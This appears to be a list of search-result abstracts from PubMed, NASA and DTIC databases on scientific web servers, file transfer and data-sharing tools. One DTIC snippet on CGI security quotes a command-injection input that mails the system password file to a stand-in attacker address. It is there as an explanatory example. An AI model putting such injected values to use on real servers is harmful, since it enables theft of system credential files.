Metals play vital roles in both the mechanism and architecture of biological macromolecules. Yet structures of metal-containing macromolecules where metals are misidentified and/or suboptimally modeled are abundant in the Protein Data Bank (PDB). This shows the need for a diagnostic tool to identify and correct such modeling problems with metal binding environments. The "CheckMyMetal" (CMM) web server (http://csgid.org/csgid/metal_sites/) is a sophisticated, user-friendly web-based method to evaluate metal binding sites in macromolecular structures in respect to 7350 metal binding sites observed in a benchmark dataset of 2304 high resolution crystal structures. The protocol outlines how the CMM server can be used to detect geometric and other irregularities in the structures of metal binding sites and alert researchers to potential errors in metal assignment. The protocol also gives practical guidelines for correcting problematic sites by modifying the metal binding environment and/or redefining metal identity in the PDB file. Several examples where this has led to meaningful results are described in the anticipated results section. CMM was designed for a broad audience—biomedical researchers studying metal-containing proteins and nucleic acids—but is equally well suited for structural biologists to validate new structures during modeling or refinement. The CMM server takes the coordinates of a metal-containing macromolecule structure in the PDB format as input and responds within a few seconds for a typical protein structure modeled with a few hundred amino acids. PMID:24356774

Making the PACS workstation a browser of image processing software: a feasibility study using inter-process communication techniques.

PubMed

Wang, Chunliang; Ritter, Felix; Smedby, Orjan

2010-07-01

To enhance the functional expandability of a picture archiving and communication systems (PACS) workstation and to facilitate the integration of third-part image-processing modules, we propose a browser-server style method. In the proposed solution, the PACS workstation shows the front-end user interface defined in an XML file while the image processing software is running in the background as a server. Inter-process communication (IPC) techniques allow an efficient exchange of image data, parameters, and user input between the PACS workstation and stand-alone image-processing software. Using a predefined communication protocol, the PACS workstation developer or image processing software developer does not need detailed information about the other system, but will still be able to achieve seamless integration between the two systems and the IPC procedure is totally transparent to the final user. A browser-server style solution was built between OsiriX (PACS workstation software) and MeVisLab (Image-Processing Software). Ten example image-processing modules were easily added to OsiriX by converting existing MeVisLab image processing networks. Image data transfer using shared memory added <10ms of processing time while the other IPC methods cost 1-5 s in our experiments. The browser-server style communication based on IPC techniques is an appealing method that allows PACS workstation developers and image processing software developers to cooperate while focusing on different interests.

Launch Support Video Site

NASA Technical Reports Server (NTRS)

OFarrell, Zachary L.

2013-01-01

The goal of this project is to create a website that displays video, countdown clock, and event times to customers during launches, without needing to be connected to the internal operations network. The requirements of this project are to also minimize the delay in the clock and events to be less than two seconds. The two parts of this are the webpage, which will display the data and videos to the user, and a server to send clock and event data to the webpage. The webpage is written in HTML with CSS and JavaScript. The JavaScript is responsible for connecting to the server, receiving new clock data, and updating the webpage. JavaScript is used for this because it can send custom HTTP requests from the webpage, and provides the ability to update parts of the webpage without having to refresh the entire page. The server application will act as a relay between the operations network, and the open internet. On the operations network side, the application receives multicast packets that contain countdown clock and events data. It will then parse the data into current countdown times and events, and create a packet with that information that can be sent to webpages. The other part will accept HTTP requests from the webpage, and respond to them with current data. The server is written in C# with some C++ files used to define the structure of data packets. The videos for the webpage will be shown in an embedded player from UStream.

Experimental Internet Environment Software Development

NASA Technical Reports Server (NTRS)

Maddux, Gary A.

1998-01-01

Geographically distributed project teams need an Internet based collaborative work environment or "Intranet." The Virtual Research Center (VRC) is an experimental Intranet server that combines several services such as desktop conferencing, file archives, on-line publishing, and security. Using the World Wide Web (WWW) as a shared space paradigm, the Graphical User Interface (GUI) presents users with images of a lunar colony. Each project has a wing of the colony and each wing has a conference room, library, laboratory, and mail station. In FY95, the VRC development team proved the feasibility of this shared space concept by building a prototype using a Netscape commerce server and several public domain programs. Successful demonstrations of the prototype resulted in approval for a second phase. Phase 2, documented by this report, will produce a seamlessly integrated environment by introducing new technologies such as Java and Adobe Web Links to replace less efficient interface software.

Wrapping SRS with CORBA: from textual data to distributed objects.

PubMed

Coupaye, T

1999-04-01

Biological data come in very different shapes. Databanks are maintained and used by distinct organizations. Text is the de facto Standard exchange format. The SRS system can integrate heterogeneous textual databanks but it was lacking a way to structure the extracted data. This paper presents a CORBA interface to the SRS system which manages databanks in a flat file format. SRS Object Servers are CORBA wrappers for SRS. They allow client applications (visualisation tools, data mining tools, etc.) to access and query SRS servers remotely through an Object Request Broker (ORB). They provide loader objects that contain the information extracted from the databanks by SRS. Loader objects are not hard-coded but generated in a flexible way by using loader specifications which allow SRS administrators to package data coming from distinct databanks. The prototype may be available for beta-testing. Please contact the SRS group (http://srs.ebi.ac.uk).

On the Selection of Models for Runtime Prediction of System Resources

NASA Astrophysics Data System (ADS)

Casolari, Sara; Colajanni, Michele

Applications and services delivered through large Internet Data Centers are now feasible thanks to network and server improvement, but also to virtualization, dynamic allocation of resources and dynamic migrations. The large number of servers and resources involved in these systems requires autonomic management strategies because no amount of human administrators would be capable of cloning and migrating virtual machines in time, as well as re-distributing or re-mapping the underlying hardware. At the basis of most autonomic management decisions, there is the need of evaluating own global behavior and change it when the evaluation indicates that they are not accomplishing what they were intended to do or some relevant anomalies are occurring. Decisions algorithms have to satisfy different time scales constraints. In this chapter we are interested to short-term contexts where runtime prediction models work on the basis of time series coming from samples of monitored system resources, such as disk, CPU and network utilization. In similar environments, we have to address two main issues. First, original time series are affected by limited predictability because measurements are characterized by noises due to system instability, variable offered load, heavy-tailed distributions, hardware and software interactions. Moreover, there is no existing criteria that can help us to choose a suitable prediction model and related parameters with the purpose of guaranteeing an adequate prediction quality. In this chapter, we evaluate the impact that different choices on prediction models have on different time series, and we suggest how to treat input data and whether it is convenient to choose the parameters of a prediction model in a static or dynamic way. Our conclusions are supported by a large set of analyses on realistic and synthetic data traces.

Use of Semi-Autonomous Tools for ISS Commanding and Monitoring

NASA Technical Reports Server (NTRS)

Brzezinski, Amy S.

2014-01-01

As the International Space Station (ISS) has moved into a utilization phase, operations have shifted to become more ground-based with fewer mission control personnel monitoring and commanding multiple ISS systems. This shift to fewer people monitoring more systems has prompted use of semi-autonomous console tools in the ISS Mission Control Center (MCC) to help flight controllers command and monitor the ISS. These console tools perform routine operational procedures while keeping the human operator "in the loop" to monitor and intervene when off-nominal events arise. Two such tools, the Pre-positioned Load (PPL) Loader and Automatic Operators Recorder Manager (AutoORM), are used by the ISS Communications RF Onboard Networks Utilization Specialist (CRONUS) flight control position. CRONUS is responsible for simultaneously commanding and monitoring the ISS Command & Data Handling (C&DH) and Communications and Tracking (C&T) systems. PPL Loader is used to uplink small pieces of frequently changed software data tables, called PPLs, to ISS computers to support different ISS operations. In order to uplink a PPL, a data load command must be built that contains multiple user-input fields. Next, a multiple step commanding and verification procedure must be performed to enable an onboard computer for software uplink, uplink the PPL, verify the PPL has incorporated correctly, and disable the computer for software uplink. PPL Loader provides different levels of automation in both building and uplinking these commands. In its manual mode, PPL Loader automatically builds the PPL data load commands but allows the flight controller to verify and save the commands for future uplink. In its auto mode, PPL Loader automatically builds the PPL data load commands for flight controller verification, but automatically performs the PPL uplink procedure by sending commands and performing verification checks while notifying CRONUS of procedure step completion. If an off-nominal condition occurs during procedure execution, PPL Loader notifies CRONUS through popup messages, allowing CRONUS to examine the situation and choose an option of how PPL loader should proceed with the procedure. The use of PPL Loader to perform frequent, routine PPL uplinks offloads CRONUS to better monitor two ISS systems. It also reduces procedure performance time and decreases risk of command errors. AutoORM identifies ISS communication outage periods and builds commands to lock, playback, and unlock ISS Operations Recorder files. Operation Recorder files are circular buffer files of continually recorded ISS telemetry data. Sections of these files can be locked from further writing, be played back to capture telemetry data that occurred during an ISS loss of signal (LOS) period, and then be unlocked for future recording use. Downlinked Operation Recorder files are used by mission support teams for data analysis, especially if failures occur during LOS. The commands to lock, playback, and unlock Operations Recorder files are encompassed in three different operational procedures and contain multiple user-input fields. AutoORM provides different levels of automation for building and uplinking the commands to lock, playback, and unlock Operations Recorder files. In its automatic mode, AutoORM automatically detects ISS LOS periods, then generates and uplinks the commands to lock, playback, and unlock Operations Recorder files when MCC regains signal with ISS. AutoORM also features semi-autonomous and manual modes which integrate CRONUS more into the command verification and uplink process. AutoORMs ability to automatically detect ISS LOS periods and build the necessary commands to preserve, playback, and release recorded telemetry data greatly offloads CRONUS to perform more high-level cognitive tasks, such as mission planning and anomaly troubleshooting. Additionally, since Operations Recorder commands contain numerical time input fields which are tedious for a human to manually build, AutoORM's ability to automatically build commands reduces operational command errors. PPL Loader and AutoORM demonstrate principles of semi-autonomous operational tools that will benefit future space mission operations. Both tools employ different levels of automation to perform simple and routine procedures, thereby offloading human operators to perform higher-level cognitive tasks. Because both tools provide procedure execution status and highlight off-nominal indications, the flight controller is able to intervene during procedure execution if needed. Semi-autonomous tools and systems that can perform routine procedures, yet keep human operators informed of execution, will be essential in future long-duration missions where the onboard crew will be solely responsible for spacecraft monitoring and control.

Computer version of astronomical ephemerides.

NASA Astrophysics Data System (ADS)

Choliy, V. Ya.

A computer version of astronomical ephemerides for bodies of the Solar System, stars, and astronomical phenomena was created at the Main Astronomical Observatory of the National Academy of Sciences of Ukraine and the Astronomy and Cosmic Physics Department of the Taras Shevchenko National University. The ephemerides will be distributed via INTERNET or in the file form. This information is accessible via the web servers space.ups.kiev.ua and alfven.ups.kiev.ua or the address choliy@astrophys.ups.kiev.ua.

Inquiry Response Security Issues with CGI Scripting and JAVA Implementations

DTIC Science & Technology

1998-03-26

that looks like this? nobody@nowhere.com;mail badguys@hell.orgc/etc/ passwd ; Now the open0 statement will evaluate the following command: /usr/lib...sendmail nobody@nowhere.com; mail badguys@hell.orgdetc/ passwd Unintentionally, open0 has mailed the contents of the system password file to the remote...functions outside of the script. For example, the following URL requests a copy of /etc/ passwd from the server machine: http://www.odci.gov/cgi-bin

A Computational Solution to Automatically Map Metabolite Libraries in the Context of Genome Scale Metabolic Networks.

PubMed

Merlet, Benjamin; Paulhe, Nils; Vinson, Florence; Frainay, Clément; Chazalviel, Maxime; Poupin, Nathalie; Gloaguen, Yoann; Giacomoni, Franck; Jourdan, Fabien

2016-01-01

This article describes a generic programmatic method for mapping chemical compound libraries on organism-specific metabolic networks from various databases (KEGG, BioCyc) and flat file formats (SBML and Matlab files). We show how this pipeline was successfully applied to decipher the coverage of chemical libraries set up by two metabolomics facilities MetaboHub (French National infrastructure for metabolomics and fluxomics) and Glasgow Polyomics (GP) on the metabolic networks available in the MetExplore web server. The present generic protocol is designed to formalize and reduce the volume of information transfer between the library and the network database. Matching of metabolites between libraries and metabolic networks is based on InChIs or InChIKeys and therefore requires that these identifiers are specified in both libraries and networks. In addition to providing covering statistics, this pipeline also allows the visualization of mapping results in the context of metabolic networks. In order to achieve this goal, we tackled issues on programmatic interaction between two servers, improvement of metabolite annotation in metabolic networks and automatic loading of a mapping in genome scale metabolic network analysis tool MetExplore. It is important to note that this mapping can also be performed on a single or a selection of organisms of interest and is thus not limited to large facilities.

Building an FTP guard

DOE Office of Scientific and Technical Information (OSTI.GOV)

Sands, P.D.

1998-08-01

Classified designs usually include lesser classified (including unclassified) components. An engineer working on such a design needs access to the various sub-designs at lower classification levels. For simplicity, the problem is presented with only two levels: high and low. If the low-classification component designs are stored in the high network, they become inaccessible to persons working on a low network. In order to keep the networks separate, the component designs may be duplicated in all networks, resulting in a synchronization problem. Alternatively, they may be stored in the low network and brought into the high network when needed. The lattermore » solution results in the use of sneaker-net (copying the files from the low system to a tape and carrying the tape to a high system) or a file transfer guard. This paper shows how an FTP Guard was constructed and implemented without degrading the security of the underlying B3 platform. The paper then shows how the guard can be extended to an FTP proxy server or an HTTP proxy server. The extension is accomplished by allowing the high-side user to select among items that already exist on the low-side. No high-side data can be directly compromised by the extension, but a mechanism must be developed to handle the low-bandwidth covert channel that would be introduced by the application.« less

Facilitating Scientific Collaboration and Education with Easy Access Web Maps Using the AGAP Antarctic Geophysical Data

NASA Astrophysics Data System (ADS)

Abdi, A.

2012-12-01

Science and science education benefit from easy access to data yet often geophysical data sets are large, complex and difficult to share. The difficulty in sharing data and imagery easily inhibits both collaboration and the use of real data in educational applications. The dissemination of data products through web maps serves a very efficient and user-friendly method for students, the public and the science community to gain insights and understanding from data. Few research groups provide direct access to their data, let alone map-based visualizations. By building upon current GIS infrastructure with web mapping technologies, like ArcGIS Server, scientific groups, institutions and agencies can enhance the value of their GIS investments. The advantages of web maps to serve data products are many; existing web-mapping technology allows complex GIS analysis to be shared across the Internet, and can be easily scaled from a few users to millions. This poster highlights the features of an interactive web map developed at the Polar Geophysics Group at the Lamont-Doherty Earth Observatory of Columbia University that provides a visual representation of, and access to, data products that resulted from the group's recently concluded AGAP project (http://pgg.ldeo.columbia.edu). The AGAP project collected more than 120,000 line km of new aerogeophysical data using two Twin Otter aircrafts. Data included ice penetrating radar, magnetometer, gravimeter and laser altimeter measurements. The web map is based upon ArcGIS Viewer for Flex, which is a configurable client application built on the ArcGIS API for Flex that works seamlessly with ArcGIS Server 10. The application can serve a variety of raster and vector file formats through the Data Interoperability for Server, which eliminates data sharing barriers across numerous file formats. The ability of the application to serve large datasets is only hindered by the availability of appropriate hardware. ArcGIS is a proprietary product, but there are a few data portals in the earth sciences that have a map interface using open access products such as MapServer and OpenLayers, the most notable being the NASA IceBridge Data Portal. Indeed, with the widespread availability of web mapping technology, the scientific community should advance towards this direction when disseminating their data.

Tracking Student Progress Through an On-Line Astro101 Module

NASA Astrophysics Data System (ADS)

Howard, W. H., II; Hufnagel, B.

2004-05-01

We present an on-line module that helps introductory-level, non-science undergraduates extract information about neutron star binary star systems from X-ray light curves. The students interface directly with the High Energy Astrophysics Science Archive Research Center (HEASARC) data through CollegeHera. Hera is a new service offered by HEASARC that enables complete interactive analysis of archived data products (see the separate Lochner & Pence paper this meeting). One of the innovative features of this module is that it records detailed student progress and automatically reports this to the professor. As the student moves through the module, student answers to multiple choice and free response questions are recorded in a personal file on the server. This is an authenticated process. The student must fill out a registration form that includes their name, course, email, professor, and professor's email. This creates a session cookie for the student that stores the unique ID given to the user by the server. In turn, the unique ID is linked to the one file that records the student's responses. When the module is completed, a brief confirmation email is sent to the student, excluding the student's unique answers to discourage sharing with other students. Simultaneously, the professor entered during the registration receives an email with the student responses and their time of entry. PERL is used for all server-side programming, and form validation functions were written in JavaScript. A laptop with internet access will be available at the poster for participants to explore the module. Learning goals and other education information for the module are at a related paper in this meeting, Hufnagel, Lochner & Howard. This module required extensive cooperation with the Hera team, and was based on a module developed by James Lochner. Irina Nelson, formerly of the Office of University Programs at GSFC, conceived the overall project. Support for this work was provided by the Southeast Regional Clearinghouse (SERCH) and the Maryland Space Grant Consortium.

HRVanalysis: A Free Software for Analyzing Cardiac Autonomic Activity

PubMed Central

Pichot, Vincent; Roche, Frédéric; Celle, Sébastien; Barthélémy, Jean-Claude; Chouchou, Florian

2016-01-01

Since the pioneering studies of the 1960s, heart rate variability (HRV) has become an increasingly used non-invasive tool for examining cardiac autonomic functions and dysfunctions in various populations and conditions. Many calculation methods have been developed to address these issues, each with their strengths and weaknesses. Although, its interpretation may remain difficult, this technique provides, from a non-invasive approach, reliable physiological information that was previously inaccessible, in many fields including death and health prediction, training and overtraining, cardiac and respiratory rehabilitation, sleep-disordered breathing, large cohort follow-ups, children's autonomic status, anesthesia, or neurophysiological studies. In this context, we developed HRVanalysis, a software to analyse HRV, used and improved for over 20 years and, thus, designed to meet laboratory requirements. The main strength of HRVanalysis is its wide application scope. In addition to standard analysis over short and long periods of RR intervals, the software allows time-frequency analysis using wavelet transform as well as analysis of autonomic nervous system status on surrounding scored events and on preselected labeled areas. Moreover, the interface is designed for easy study of large cohorts, including batch mode signal processing to avoid running repetitive operations. Results are displayed as figures or saved in TXT files directly employable in statistical softwares. Recordings can arise from RR or EKG files of different types such as cardiofrequencemeters, holters EKG, polygraphs, and data acquisition systems. HRVanalysis can be downloaded freely from the Web page at: https://anslabtools.univ-st-etienne.fr HRVanalysis is meticulously maintained and developed for in-house laboratory use. In this article, after a brief description of the context, we present an overall view of HRV analysis and we describe the methodological approach of the different techniques provided by the software. PMID:27920726

Data Transfer Efficiency Over Satellite Circuits Using a Multi-Socket Extension to the File Transfer Protocol (FTP)

NASA Technical Reports Server (NTRS)

Allman, Mark; Ostermann, Shawn; Kruse, Hans

1996-01-01

In several experiments using NASA's Advanced Communications Technology Satellite (ACTS), investigators have reported disappointing throughput using the transmission control protocol/Internet protocol (TCP/IP) protocol suite over 1.536Mbit/sec (T1) satellite circuits. A detailed analysis of file transfer protocol (FTP) file transfers reveals that both the TCP window size and the TCP 'slow starter' algorithm contribute to the observed limits in throughput. In this paper we summarize the experimental and and theoretical analysis of the throughput limit imposed by TCP on the satellite circuit. We then discuss in detail the implementation of a multi-socket FTP, XFTP client and server. XFTP has been tested using the ACTS system. Finally, we discuss a preliminary set of tests on a link with non-zero bit error rates. XFTP shows promising performance under these conditions, suggesting the possibility that a multi-socket application may be less effected by bit errors than a single, large-window TCP connection.

Partial Storage Optimization and Load Control Strategy of Cloud Data Centers

PubMed Central

2015-01-01

We present a novel approach to solve the cloud storage issues and provide a fast load balancing algorithm. Our approach is based on partitioning and concurrent dual direction download of the files from multiple cloud nodes. Partitions of the files are saved on the cloud rather than the full files, which provide a good optimization to the cloud storage usage. Only partial replication is used in this algorithm to ensure the reliability and availability of the data. Our focus is to improve the performance and optimize the storage usage by providing the DaaS on the cloud. This algorithm solves the problem of having to fully replicate large data sets, which uses up a lot of precious space on the cloud nodes. Reducing the space needed will help in reducing the cost of providing such space. Moreover, performance is also increased since multiple cloud servers will collaborate to provide the data to the cloud clients in a faster manner. PMID:25973444

Partial storage optimization and load control strategy of cloud data centers.

PubMed

Al Nuaimi, Klaithem; Mohamed, Nader; Al Nuaimi, Mariam; Al-Jaroodi, Jameela

2015-01-01

We present a novel approach to solve the cloud storage issues and provide a fast load balancing algorithm. Our approach is based on partitioning and concurrent dual direction download of the files from multiple cloud nodes. Partitions of the files are saved on the cloud rather than the full files, which provide a good optimization to the cloud storage usage. Only partial replication is used in this algorithm to ensure the reliability and availability of the data. Our focus is to improve the performance and optimize the storage usage by providing the DaaS on the cloud. This algorithm solves the problem of having to fully replicate large data sets, which uses up a lot of precious space on the cloud nodes. Reducing the space needed will help in reducing the cost of providing such space. Moreover, performance is also increased since multiple cloud servers will collaborate to provide the data to the cloud clients in a faster manner.

The Use of Proxy Caches for File Access in a Multi-Tier Grid Environment

NASA Astrophysics Data System (ADS)

Brun, R.; Duellmann, D.; Ganis, G.; Hanushevsky, A.; Janyst, L.; Peters, A. J.; Rademakers, F.; Sindrilaru, E.

2011-12-01

The use of proxy caches has been extensively studied in the HEP environment for efficient access of database data and showed significant performance with only very moderate operational effort at higher grid tiers (T2, T3). In this contribution we propose to apply the same concept to the area of file access and analyse the possible performance gains, operational impact on site services and applicability to different HEP use cases. Base on a proof-of-concept studies with a modified XROOT proxy server we review the cache efficiency and overheads for access patterns of typical ROOT based analysis programs. We conclude with a discussion of the potential role of this new component at the different tiers of a distributed computing grid.

The Use of Proxy Caches for File Access in a Multi-Tier Grid Environment

DOE Office of Scientific and Technical Information (OSTI.GOV)

Brun, R.; Dullmann, D.; Ganis, G.

2012-04-19

The use of proxy caches has been extensively studied in the HEP environment for efficient access of database data and showed significant performance with only very moderate operational effort at higher grid tiers (T2, T3). In this contribution we propose to apply the same concept to the area of file access and analyze the possible performance gains, operational impact on site services and applicability to different HEP use cases. Base on a proof-of-concept studies with a modified XROOT proxy server we review the cache efficiency and overheads for access patterns of typical ROOT based analysis programs. We conclude with amore » discussion of the potential role of this new component at the different tiers of a distributed computing grid.« less

Using STOQS and stoqstoolbox for in situ Measurement Data Access in Matlab

NASA Astrophysics Data System (ADS)

López-Castejón, F.; Schlining, B.; McCann, M. P.

2012-12-01

This poster presents the stoqstoolbox, an extension to Matlab that simplifies the loading of in situ measurement data directly from STOQS databases. STOQS (Spatial Temporal Oceanographic Query System) is a geospatial database tool designed to provide efficient access to data following the CF-NetCDF Discrete Samples Geometries convention. Data are loaded from CF-NetCDF files into a STOQS database where indexes are created on depth, spatial coordinates and other parameters, e.g. platform type. STOQS provides consistent, simple and efficient methods to query for data. For example, we can request all measurements with a standard_name of sea_water_temperature between two times and from between two depths. Data access is simpler because the data are retrieved by parameter irrespective of platform or mission file names. Access is more efficient because data are retrieved via the index on depth and only the requested data are retrieved from the database and transferred into the Matlab workspace. Applications in the stoqstoolbox query the STOQS database via an HTTP REST application programming interface; they follow the Data Access Object pattern, enabling highly customizable query construction. Data are loaded into Matlab structures that clearly indicate latitude, longitude, depth, measurement data value, and platform name. The stoqstoolbox is designed to be used in concert with other tools, such as nctoolbox, which can load data from any OPeNDAP data source. With these two toolboxes a user can easily work with in situ and other gridded data, such as from numerical models and remote sensing platforms. In order to show the capability of stoqstoolbox we will show an example of model validation using data collected during the May-June 2012 field experiment conducted by the Monterey Bay Aquarium Research Institute (MBARI) in Monterey Bay, California. The data are available from the STOQS server at http://odss.mbari.org/canon/stoqs_may2012/query/. Over 14 million data points of 18 parameters from 6 platforms measured over a 3-week period are available on this server. The model used for comparison is the Regional Ocean Modeling System developed by Jet Propulsion Laboratory for the Monterey Bay. The model output are loaded into Matlab using nctoolbox from the JPL server at http://ourocean.jpl.nasa.gov:8080/thredds/dodsC/MBNowcast. Model validation with in situ measurements can be difficult because of different file formats and because data may be spread across individual data systems for each platform. With stoqstoolbox the researcher must know only the URL of the STOQS server and the OPeNDAP URL of the model output. With selected depth and time constraints a user's Matlab program searches for all in situ measurements available for the same time, depth and variable of the model. STOQS and stoqstoolbox are open source software projects supported by MBARI and the David and Lucile Packard foundation. For more information please see http://code.google.com/p/stoqs.

Telephone-Directory Program

NASA Technical Reports Server (NTRS)

Vlahos, William

2005-01-01

eDirectory is a computer program that makes it possible to view entries in the Jet Propulsion Laboratory (JPL) telephone directory by use of PalmPilot(TradeMark) (or equivalent) personal digital assistants. When one uses eDirectory, a single click causes the downloading of a current copy of the directory (which is updated nightly) from a server. The downloaded directory data can be sorted and searched. The program can append a "JPL" category and save directory information in a file that can be imported into the Palm Desktop(TradeMark) software.

ERDC MSRC Resource. High Performance Computing for the Warfighter. Spring 2006

DTIC Science & Technology

2006-01-01

named Ruby, and the HP/Compaq SC45, named Emerald , continue to add their unique sparkle to the ERDC MSRC computer infrastructure. ERDC invited the...configuration on B-52H purchased additional memory for the login nodes so that this part of the solution process could be done as a preprocessing step. On...application and system services. Of the service nodes, 10 are login nodes and 23 are input/output (I/O) server nodes for the Lustre file system (i.e., the

Modeling and Performance Simulation of the Mass Storage Network Environment

NASA Technical Reports Server (NTRS)

Kim, Chan M.; Sang, Janche

2000-01-01

This paper describes the application of modeling and simulation in evaluating and predicting the performance of the mass storage network environment. Network traffic is generated to mimic the realistic pattern of file transfer, electronic mail, and web browsing. The behavior and performance of the mass storage network and a typical client-server Local Area Network (LAN) are investigated by modeling and simulation. Performance characteristics in throughput and delay demonstrate the important role of modeling and simulation in network engineering and capacity planning.

QNAP 1263U Network Attached Storage (NAS)/ Storage Area Network (SAN) Device Users Guide

DTIC Science & Technology

2016-11-01

standard Ethernet network. Operating either a NAS or SAN is vital for the integrity of the data stored on the drives found in the device. Redundant...speed of the network itself. Many standards are in place for transferring data, including more standard ones such as File Transfer Protocol and Server ...following are the procedures for connecting to the NAS administrative web page: 1) Open a web browser and browse to 192.168.40.8:8080. 2) Enter the

CSlib, a library to couple codes via Client/Server messaging

DOE Office of Scientific and Technical Information (OSTI.GOV)

Plimpton, Steve

The CSlib is a small, portable library which enables two (or more) independent simulation codes to be coupled, by exchanging messages with each other. Both codes link to the library when they are built, and can them communicate with each other as they run. The messages contain data or instructions that the two codes send back-and-forth to each other. The messaging can take place via files, sockets, or MPI. The latter is a standard distributed-memory message-passing library.

Improving throughput and user experience for information intensive websites by applying HTTP compression technique.

PubMed

Malla, Ratnakar

2008-11-06

HTTP compression is a technique specified as part of the W3C HTTP 1.0 standard. It allows HTTP servers to take advantage of GZIP compression technology that is built into latest browsers. A brief survey of medical informatics websites show that compression is not enabled. With compression enabled, downloaded files sizes are reduced by more than 50% and typical transaction time is also reduced from 20 to 8 minutes, thus providing a better user experience.

An analysis of technology usage for streaming digital video in support of a preclinical curriculum.

PubMed

Dev, P; Rindfleisch, T C; Kush, S J; Stringer, J R

2000-01-01

Usage of streaming digital video of lectures in preclinical courses was measured by analysis of the data in the log file maintained on the web server. We observed that students use the video when it is available. They do not use it to replace classroom attendance but rather for review before examinations or when a class has been missed. Usage of video has not increased significantly for any course within the 18 month duration of this project.

SIRW: A web server for the Simple Indexing and Retrieval System that combines sequence motif searches with keyword searches.

PubMed

Ramu, Chenna

2003-07-01

SIRW (http://sirw.embl.de/) is a World Wide Web interface to the Simple Indexing and Retrieval System (SIR) that is capable of parsing and indexing various flat file databases. In addition it provides a framework for doing sequence analysis (e.g. motif pattern searches) for selected biological sequences through keyword search. SIRW is an ideal tool for the bioinformatics community for searching as well as analyzing biological sequences of interest.

JobCenter: an open source, cross-platform, and distributed job queue management system optimized for scalability and versatility.

PubMed

Jaschob, Daniel; Riffle, Michael

2012-07-30

Laboratories engaged in computational biology or bioinformatics frequently need to run lengthy, multistep, and user-driven computational jobs. Each job can tie up a computer for a few minutes to several days, and many laboratories lack the expertise or resources to build and maintain a dedicated computer cluster. JobCenter is a client-server application and framework for job management and distributed job execution. The client and server components are both written in Java and are cross-platform and relatively easy to install. All communication with the server is client-driven, which allows worker nodes to run anywhere (even behind external firewalls or "in the cloud") and provides inherent load balancing. Adding a worker node to the worker pool is as simple as dropping the JobCenter client files onto any computer and performing basic configuration, which provides tremendous ease-of-use, flexibility, and limitless horizontal scalability. Each worker installation may be independently configured, including the types of jobs it is able to run. Executed jobs may be written in any language and may include multistep workflows. JobCenter is a versatile and scalable distributed job management system that allows laboratories to very efficiently distribute all computational work among available resources. JobCenter is freely available at http://code.google.com/p/jobcenter/.

Remote vibration monitoring system using wireless internet data transfer

NASA Astrophysics Data System (ADS)

Lemke, John

2000-06-01

Vibrations from construction activities can affect infrastructure projects in several ways. Within the general vicinity of a construction site, vibrations can result in damage to existing structures, disturbance to people, damage to sensitive machinery, and degraded performance of precision instrumentation or motion sensitive equipment. Current practice for monitoring vibrations in the vicinity of construction sites commonly consists of measuring free field or structural motions using velocity transducers connected to a portable data acquisition unit via cables. This paper describes an innovative way to collect, process, transmit, and analyze vibration measurements obtained at construction sites. The system described measures vibration at the sensor location, performs necessary signal conditioning and digitization, and sends data to a Web server using wireless data transmission and Internet protocols. A Servlet program running on the Web server accepts the transmitted data and incorporates it into a project database. Two-way interaction between the Web-client and the Web server is accomplished through the use of a Servlet program and a Java Applet running inside a browser located on the Web client's computer. Advantages of this system over conventional vibration data logging systems include continuous unattended monitoring, reduced costs associated with field data collection, instant access to data files and graphs by project team members, and the ability to remotely modify data sampling schemes.

VRML and Collaborative Environments: New Tools for Networked Visualization

NASA Astrophysics Data System (ADS)

Crutcher, R. M.; Plante, R. L.; Rajlich, P.

We present two new applications that engage the network as a tool for astronomical research and/or education. The first is a VRML server which allows users over the Web to interactively create three-dimensional visualizations of FITS images contained in the NCSA Astronomy Digital Image Library (ADIL). The server's Web interface allows users to select images from the ADIL, fill in processing parameters, and create renderings featuring isosurfaces, slices, contours, and annotations; the often extensive computations are carried out on an NCSA SGI supercomputer server without the user having an individual account on the system. The user can then download the 3D visualizations as VRML files, which may be rotated and manipulated locally on virtually any class of computer. The second application is the ADILBrowser, a part of the NCSA Horizon Image Data Browser Java package. ADILBrowser allows a group of participants to browse images from the ADIL within a collaborative session. The collaborative environment is provided by the NCSA Habanero package which includes text and audio chat tools and a white board. The ADILBrowser is just an example of a collaborative tool that can be built with the Horizon and Habanero packages. The classes provided by these packages can be assembled to create custom collaborative applications that visualize data either from local disk or from anywhere on the network.

easyDAS: Automatic creation of DAS servers

PubMed Central

2011-01-01

Background The Distributed Annotation System (DAS) has proven to be a successful way to publish and share biological data. Although there are more than 750 active registered servers from around 50 organizations, setting up a DAS server comprises a fair amount of work, making it difficult for many research groups to share their biological annotations. Given the clear advantage that the generalized sharing of relevant biological data is for the research community it would be desirable to facilitate the sharing process. Results Here we present easyDAS, a web-based system enabling anyone to publish biological annotations with just some clicks. The system, available at http://www.ebi.ac.uk/panda-srv/easydas is capable of reading different standard data file formats, process the data and create a new publicly available DAS source in a completely automated way. The created sources are hosted on the EBI systems and can take advantage of its high storage capacity and network connection, freeing the data provider from any network management work. easyDAS is an open source project under the GNU LGPL license. Conclusions easyDAS is an automated DAS source creation system which can help many researchers in sharing their biological data, potentially increasing the amount of relevant biological data available to the scientific community. PMID:21244646

BRepertoire: a user-friendly web server for analysing antibody repertoire data.

PubMed

Margreitter, Christian; Lu, Hui-Chun; Townsend, Catherine; Stewart, Alexander; Dunn-Walters, Deborah K; Fraternali, Franca

2018-04-14

Antibody repertoire analysis by high throughput sequencing is now widely used, but a persisting challenge is enabling immunologists to explore their data to discover discriminating repertoire features for their own particular investigations. Computational methods are necessary for large-scale evaluation of antibody properties. We have developed BRepertoire, a suite of user-friendly web-based software tools for large-scale statistical analyses of repertoire data. The software is able to use data preprocessed by IMGT, and performs statistical and comparative analyses with versatile plotting options. BRepertoire has been designed to operate in various modes, for example analysing sequence-specific V(D)J gene usage, discerning physico-chemical properties of the CDR regions and clustering of clonotypes. Those analyses are performed on the fly by a number of R packages and are deployed by a shiny web platform. The user can download the analysed data in different table formats and save the generated plots as image files ready for publication. We believe BRepertoire to be a versatile analytical tool that complements experimental studies of immune repertoires. To illustrate the server's functionality, we show use cases including differential gene usage in a vaccination dataset and analysis of CDR3H properties in old and young individuals. The server is accessible under http://mabra.biomed.kcl.ac.uk/BRepertoire.

On-demand server-side image processing for web-based DICOM image display

NASA Astrophysics Data System (ADS)

Sakusabe, Takaya; Kimura, Michio; Onogi, Yuzo

2000-04-01

